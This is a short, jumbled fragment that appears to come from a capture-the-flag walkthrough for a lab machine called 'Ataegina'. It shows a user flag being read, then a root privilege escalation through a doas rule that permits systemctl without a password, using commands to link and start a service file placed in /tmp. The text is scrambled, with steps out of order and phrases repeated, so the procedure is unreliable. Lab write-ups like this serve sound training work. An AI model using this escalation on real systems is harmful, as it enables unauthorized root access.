Ataegina Walkthrough New! -

We now have an interactive shell as ataegina . cat /home/ataegina/user.txt THMataegina_user_flag 4. Root Privilege Escalation Check SUID binaries:

Check /etc/doas.conf :

doas -u root systemctl link /tmp/root.service doas -u root systemctl start root.service Retrieve flag: ataegina walkthrough

permit nopass ataegina as root cmd /usr/bin/systemctl Create a service: We now have an interactive shell as ataegina